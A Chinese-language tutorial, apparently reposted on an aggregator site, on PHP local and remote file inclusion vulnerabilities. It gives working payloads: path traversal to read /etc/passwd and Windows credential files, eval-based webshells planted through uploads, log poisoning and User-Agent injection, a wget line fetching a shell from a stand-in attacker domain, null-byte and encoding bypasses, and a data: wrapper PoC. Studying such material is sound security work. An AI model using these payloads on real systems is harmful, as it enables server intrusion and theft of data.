文件包含漏洞
发布时间:2020-12-15 20:53:47 所属栏目:安全 来源:网络整理
导读:1、漏洞原理 主要在PHP中产生比较多,本文详细介绍PHP的包含漏洞 PHP中包含其他文件的函数有这些,在做代码审计需要用到和记住 include() //当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下
1、漏洞原理主要在PHP中产生比较多,本文详细介绍PHP的包含漏洞 PHP中包含其他文件的函数有这些,在做代码审计需要用到和记住 include() //当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。 include_once() //功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。 require()//只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行 require_once()//的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。 fopen()//打开指定的某个文件 readfile()//读取指定的文件 2、分类1. 本地文件包含 LFI(Local File Include)
2. 远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)
3、漏洞利用本地包含漏洞案例(LFI)新建一个phpinfo.txt,然后新建一个shell.php,写入: <?php Include("phpinfo.txt"); ?> 访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。 本地包含漏洞利用3.1 读取敏感信息比如: http://www.xxx.com/index.php?page=/etc/passwd Windows: c:boot.ini c:windowssystems32inetsrvMetaBase.xml c:windowsrepairsam c:windowsphp.ini php配置文件 c:windowsmy.ini mysql配置文件 LINUX: /etc/passwd /usr/local/app/apache2/conf/http.conf /usr/local/app/php5/lib/php.ini PHP相关设置 /etc/httpd/conf/http.conf apache配置文件 /etc/my.cnf mysql配置文件 目录遍历 比如: http://www.xxx.com/index.php?page=./../../test.txt ./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件 3.2 文件上传拿shell上传一个图片木马a.jpg,内容为: <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?> 访问URL: http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。 3.3 配合apache日志拿shellapache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL: http://www.xxx.com/<?php eval([$_POST]);?> 则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。默认 ? 3.4 利用/proc/self/environ进行包含利用条件: 1. php 以 cgi 方式运行,这样 environ 才会保持 UA 头。 2. environ 文件存储位置已知,且 environ 文件可读。 proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可 比如: http://www.test.com/view.php?page=../../../../proc/self/environ 路径不知道试一试 http://www.test.com/view.php?page=../../../../../../../proc/self/environ 选择 User-Agent 写代码如下: <?system(‘wget http://www.你的域名.com/oneword.txt -O shell.php‘);?> 这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。 3.5 截断包含有些开发者为了防止本地包含漏洞,会编写一下代码: <?php Include $_GET[‘page‘].".php" ?> (一)00截断包含 新建1.jpg: <?fputs(fopen("shell.php","<?php eval($_POST[x]);?>")?> 这样的话比如上传一个1.jpg图片马,则访问 http://www.xxx.com/1.jpg 其实这个时候访问的是1.jgp.php,因为没有这个文件所以报错。这是,可以尝试访问 http://www.xxx.com/1.jpg%00 新建a.txt: <?php include($_GET[‘a‘].‘.php‘) ?> 上传我们的 2.txt 文件,请求 http://localhost/test/1.php?a=2.txt%00 即可执行 2.txt 中 phpinfo 的代码 (二)使用长目录截断 ?page=././././././././././././././etc/passwd 或者 ?page=////////////////////////////etc/passwd 或者 ?page=../a/etc/passwd/../a/etc/passwd/../a/etc/passwd 或者 ?page=../../../../../../../../../var/www/%00 服务器端常常会对于 ../ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。 利用 url 编码: ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/ .. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e二次编码: ../ -》 %252e%252e%252f .. -》 %252e%252e%255c 在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。 远程包含漏洞案例新建php.txt: <?php echo "hello world"; ?> 新建index.php: <?php Include($_GET[‘page‘]); ?> 随后访问 http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。 远程包含漏洞利用 远程包含shell新建test.txt文件,保存在你自己远程服务器上,内容如下: <?fputs(fopen("shell.php","<?php eval($_POST[x]);?>")?> 如果目标网站存在远程包含漏洞,则可以通过访问: http://www.xxx1.com/index.php?page=http://www.你的域名.com/test.txt则会在服务器根目录下生产一个shell.php内容为: <?php eval($_POST[x]);?> 利用php协议进行包含漏洞应用条件: data: php5.2以后版本 php://input 需要开启allow_url_include poc: http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
热点阅读